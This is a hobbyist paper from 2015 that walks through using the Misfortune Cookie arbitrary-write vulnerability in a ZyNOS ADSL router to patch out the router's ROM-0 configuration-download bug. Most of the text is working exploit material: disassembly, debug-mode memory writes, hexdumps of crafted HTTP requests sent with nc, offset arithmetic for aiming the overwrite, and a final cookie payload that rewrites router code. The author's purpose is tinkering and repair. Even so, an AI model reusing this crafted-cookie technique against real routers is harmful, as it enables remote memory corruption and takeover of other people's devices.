Patching ROM-0 Bug With Misfortune Cookie
by cawan (cawan[at][Link] or chuiyewleong[at][Link])
[Link]
on 03/03/2015
This is a paper just for fun, especially for those embedded hackers who looking
for fun in tweaking embedded system. So, this is not the proper solution to fix
ROM-0 bug, it is ridiculous to fix a bug with another bug. Anyway, let's start
our fun now. From my previous paper of "Misfortune Cookie Demystified", it is
clear we can perform arbitrary address overwrite with arbitrary data. Other than
to unlock a router, it is possible to patch a router in order to fix ROM-0 bug.
Before that, let us have a look to the data format of overwriting action being
executed by misfortune cookie in detail. Back to the code snippet.
ROM:8010E5B0 loc_8010E5B0:
# CODE XREF: sub_8010E574+ECj
ROM:8010E5B0
li
$t7, 0x43
# 0x43='C'
ROM:8010E5B4
bne
$v0, $t7, loc_8010E618
ROM:8010E5B8
li
$a1, 0x3D
ROM:8010E5BC
addiu
$s0, 1
ROM:8010E5C0
move
$a0, $s0
ROM:8010E5C4
jal
sub_8016C340
ROM:8010E5C8
nop
ROM:8010E5CC
move
$a0, $s0
ROM:8010E5D0
move
$s1, $v0
ROM:8010E5D4
addiu
$s1, 1
ROM:8010E5D8
jal
sub_801F2E74
ROM:8010E5DC
sb
$zero, -1($s1)
ROM:8010E5E0
move
$a0, $s1
ROM:8010E5E4
jal
sub_8016CA24
ROM:8010E5E8
move
$s3, $v0
ROM:8010E5EC
li
$a2, 0x28
ROM:8010E5F0
mul
$t2, $s3, $a2
ROM:8010E5F4
move
$a1, $s1
ROM:8010E5F8
addiu
$t5, $s4, 0x6B28
ROM:8010E5FC
move
$s0, $v0
ROM:8010E600
addu
$at, $s1, $s0
ROM:8010E604
addu
$a0, $t5, $t2
ROM:8010E608
jal
sub_8016A784
ROM:8010E60C
sb
$zero, 0($at)
ROM:8010E610
j
loc_8010E644
ROM:8010E614
addu
$s0, $s1, $s0
ROM:8010E618 # --------------------------------------------------------------------------ROM:8010E608 is strncpy(), after it, at ROM:8010E610 and ROM:8010E614, we just simply
set a trap there. Well, we make it this way,
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $[Link]([Link].4)[Link] 20120518_V003
Press any key to enter debug mode within 3 seconds.
...
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
| 2012/05/18
...
writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...
Now, it is ready to trigger the trap.
cawan$ cat cawan_header
0000000: 4745 5420 2f20
0000010: 7365 722d 4167
0000020: 372e 3333 2e30
0000030: 2e31 3638 2e31
0000040: 202a 2f2a 0a43
0000050: 3733 3733 3838
cawan$ cat cawan_header
cawan$
| xxd
4854 5450 2f31 2e31
656e 743a 2063 7572
0a48 6f73 743a 2031
2e31 0a41 6363 6570
6f6f 6b69 653a 2043
333d 6161 0a
| nc [Link] 80
0a55
6c2f
3932
743a
3130
GET / HTTP/1.1.U
ser-Agent: curl/
[Link]: 192
.[Link]:
*/*.Cookie: C10
7373883=aa.
and we get this,
TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805008
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()
$r0=
$a0=
$t0=
$t4=
$s0=
$s4=
$t8=
$gp=
0x00000000
0x00000001
0x8001FF80
0x804A9460
0x804A8A60
0x00000001
0x804A9E48
0x8040F004
$at=
$a1=
$t1=
$t5=
$s1=
$s5=
$t9=
$sp=
0x80350000
0x805D7AF8
0xFFFFFFFE
0x804A8A60
0x8040C114
0x8000007C
0x00000000
0x805E2B60
$v0=
$a2=
$t2=
$t6=
$s2=
$s6=
$k0=
$fp=
0x00000000
0xFFFFFFFF
0x804A8F38
0x804A9D00
0x805E2BC8
0x8040E5FC
0x00000000
0x805E2BC8
$v1=
$a3=
$t3=
$t7=
$s3=
$s7=
$k1=
$ra=
0x00000001
0x00000000
0x804A9E47
0x00000040
0x80042A70
0x8040F8AC
0x8000007C
0x8003A3D0
...
...
Let us find a nice looking buffer area to start our study of data overwriting
format and pattern in detail. It seems 0x804ED500 is a good place, as shown
below.
Press any key to enter debug mode within 3
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00
804ED510: 00 00 00 00 00 00 00 00-00 00 00
804ED520: 00 00 00 00 00 00 00 00-00 00 00
804ED530: 00 00 00 00 00 00 00 00-00 00 00
804ED540: 00 00 00 00 00 00 00 00-00 00 00
804ED550: 00 00 00 00 80 4E DD 68-80 10 39
804ED560: BE AF 00 00 00 00 08 00-47 45 54
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33
804ED590: 6F 73 74 3A 20 31 39 32-2E 31 36
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F
804ED5B0: 6B 69 65 3A 20 43 31 30-37 33 37
804ED5C0: 61 61 00 00 00 00 00 00-00 00 00
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00
seconds.
00
00
00
00
00
90
20
2D
33
38
2A
33
00
00
00
00
00
00
00
00
00
02
2F
61
2E
2E
0A
38
00
00
00
00
00
00
00
00
00
0C
00
67
30
31
63
38
00
00
00
00
00
00
00
00
00
0B
48
65
0A
2E
6F
33
00
00
00
00
00
00
00
00
00
00
54
6E
68
31
6F
00
00
00
00
00
................
................
................
................
................
.....N.h..9.....
........GET /.HT
TP/[Link]-agen
t: curl/7.33.0.h
ost: [Link]
.accept: */*.coo
kie: C107373883.
aa..............
................
................
................
OK
From 0x804ED570 to 0x804ED5B0, there is no null character being existed in that
portion of data. On the other hand, 0x804ED400 is another good place, as shown
below.
atdu 804ed400
804ED400:
804ED410:
804ED420:
804ED430:
804ED440:
804ED450:
804ED460:
804ED470:
804ED480:
804ED490:
804ED4A0:
804ED4B0:
804ED4C0:
804ED4D0:
804ED4E0:
804ED4F0:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00-00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
................
................
................
................
................
................
................
................
................
................
................
................
................
................
................
OK
Well, there is all null characters in this portion of memory. Now, let us put
some data in this all null portion.
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
cawan$ cat cawan_header
0000000: 4745 5420 2f20
0000010: 7365 722d 4167
0000020: 372e 3333 2e30
0000030: 2e31 3638 2e31
0000040: 202a 2f2a 0a43
0000050: 3032 323d 6361
cawan$ cat cawan_header
cawan$
| xxd
4854 5450 2f31 2e31
656e 743a 2063 7572
0a48 6f73 743a 2031
2e31 0a41 6363 6570
6f6f 6b69 653a 2043
7761 6e0a
| nc [Link] 80
0a55
6c2f
3932
743a
3232
GET / HTTP/1.1.U
ser-Agent: curl/
[Link]: 192
.[Link]:
*/*.Cookie: C22
022=cawan.
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $[Link]([Link].4)[Link] 20120518_V003
Press any key to enter debug mode within 3
.......
Enter Debug Mode
atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00
804ED410: 00 00 00 00 00 00 00 00-00 00 00
804ED420: 00 00 00 00 00 00 00 00-00 00 00
804ED430: 00 00 00 00 00 00 00 00-00 00 00
804ED440: 00 00 00 00 00 00 00 00-00 00 00
804ED450: 00 00 00 00 00 00 00 00-00 00 00
804ED460: 00 00 00 00 00 00 00 00-00 00 00
804ED470: 00 00 00 00 00 00 00 00-00 00 00
804ED480: 00 00 00 00 00 00 00 00-00 00 00
804ED490: 00 00 00 00 00 00 00 00-00 00 00
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00
804ED4C0: 00 00 00 00 63 61 77 61-6E 00 00
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00
| 2012/05/18
seconds.
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
................
................
................
................
................
................
................
................
................
................
................
....cawan.......
................
................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
................
OK
Cool, the string "cawan" is there. Then, we try to put it into the portion between
0x804ED570 and 0x804ED5B0.
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
cawan$ cat cawan_header
0000000: 4745 5420 2f20
0000010: 7365 722d 4167
0000020: 372e 3333 2e30
0000030: 2e31 3638 2e31
0000040: 202a 2f2a 0a43
0000050: 3032 373d 6361
cawan$ cat cawan_header
cawan$
| xxd
4854 5450 2f31 2e31
656e 743a 2063 7572
0a48 6f73 743a 2031
2e31 0a41 6363 6570
6f6f 6b69 653a 2043
7761 6e0a
| nc [Link] 80
Press any key to enter debug mode within 3
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00
804ED510: 00 00 00 00 00 00 00 00-00 00 00
804ED520: 00 00 00 00 00 00 00 00-00 00 00
804ED530: 00 00 00 00 00 00 00 00-00 00 00
804ED540: 00 00 00 00 00 00 00 00-00 00 00
804ED550: 00 00 00 00 80 4E DD 68-80 10 39
804ED560: BE AF 00 00 00 00 08 00-47 45 54
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33
804ED590: 6E 00 74 3A 20 31 39 32-2E 31 36
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F
804ED5B0: 6B 69 65 3A 20 43 32 32-30 32 37
804ED5C0: 6E 00 00 00 00 00 00 00-00 00 00
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00
0a55
6c2f
3932
743a
3232
GET / HTTP/1.1.U
ser-Agent: curl/
[Link]: 192
.[Link]:
*/*.Cookie: C22
027=cawan.
seconds.
00
00
00
00
00
90
20
2D
33
38
2A
00
00
00
00
00
00
00
00
00
00
02
2F
61
63
2E
0A
63
00
00
00
00
00
00
00
00
00
0C
00
67
61
31
63
61
00
00
00
00
00
00
00
00
00
0B
48
65
77
2E
6F
77
00
00
00
00
00
00
00
00
00
00
54
6E
61
31
6F
61
00
00
00
00
................
................
................
................
................
.....N.h..9.....
........GET /.HT
TP/[Link]-agen
t: curl/7.33cawa
n.t: [Link]
.accept: */*.coo
kie: [Link]
n...............
................
................
................
OK
Well, it is clear that for whatever string that we send will be padded by a null
character. Now, we can create a nop instruction where the last byte is 0x00. It
is simple, we choose
lui $s7,0x4100
which its hex is 0x3C174100. So, we have to find out which location that we need
to patch now. After having some study with IDA, it seems
ROM:80102A40
is the correct place. Let's try it.
ATEN1, A847D6B1
jal
sub_8003D630
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 80102a40,00000000
OK
atgo 80020000
OK
..
..
cawan$ wget [Link]/rom-0
--2015-03-03 [Link]-- [Link]
Connecting to [Link]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 [Link] ERROR 404: Not Found.
cawan$
Well, we are at the right place. Now, we have to calculate the address to be used
by the misfortune cookie bug.
0x80102A40 - 0x804163D4 = 0xFFCEC66C
(Do it in Dword)
0xFFCEC66C % 0x28 = 0xC
(Do it in Qword)
Unfortunately, 0x80102A40 is not exactly aligned to the 0x28. So we should adjust
the address to make it properly aligned. We try again.
0x80102A34 - 0x804163D4 = 0xFFCEC660
(Do it in Dword)
0xFFCEC660 % 0x28 = 0x0
(Do it in Qword)
Nice, it is 0x28 aligned now, so we can proceed to calculate the address.
0xFFCEC660 / 0x28 = 0x6652B5C
(Do it in Qword)
0x6652B5C = 107293532
It is ready to create our payload now. Let's boot the router in normal and test
our payload. Remember our nop instruction ? :) Before trigger our payload, lets
verify the rom-0 bug is there.
cawan$ wget [Link]/rom-0
--2015-03-03 [Link]-- [Link]
Connecting to [Link]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16384 (16K) [application/octet-stream]
Saving to: rom-0
100%[==========================================================================
=========================>] 16,384
14.9KB/s
in 1.1s
Last-modified header invalid -- time-stamp ignored.
2015-03-03 [Link] (14.9 KB/s) - rom-0 saved [16384/16384]
cawan$ cat cawan_header
0000000: 4745 5420 2f20
0000010: 7365 722d 4167
0000020: 372e 3333 2e30
0000030: 2e31 3638 2e31
0000040: 202a 2f2a 0a43
0000050: 3732 3933 3533
0000060: 4141 4141 3c17
| xxd
4854 5450
656e 743a
0a48 6f73
2e31 0a41
6f6f 6b69
323d 4141
410a
2f31
2063
743a
6363
653a
4141
2e31
7572
2031
6570
2043
4141
0a55
6c2f
3932
743a
3130
4141
cawan$ wget [Link]/rom-0
--2015-03-03 [Link]-- [Link]
Connecting to [Link]:80... connected.
GET / HTTP/1.1.U
ser-Agent: curl/
[Link]: 192
.[Link]:
*/*.Cookie: C10
7293532=AAAAAAAA
AAAA<.A.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 [Link] ERROR 404: Not Found.
cawan$
Excellent, we are done, and we conclude our fun here. :)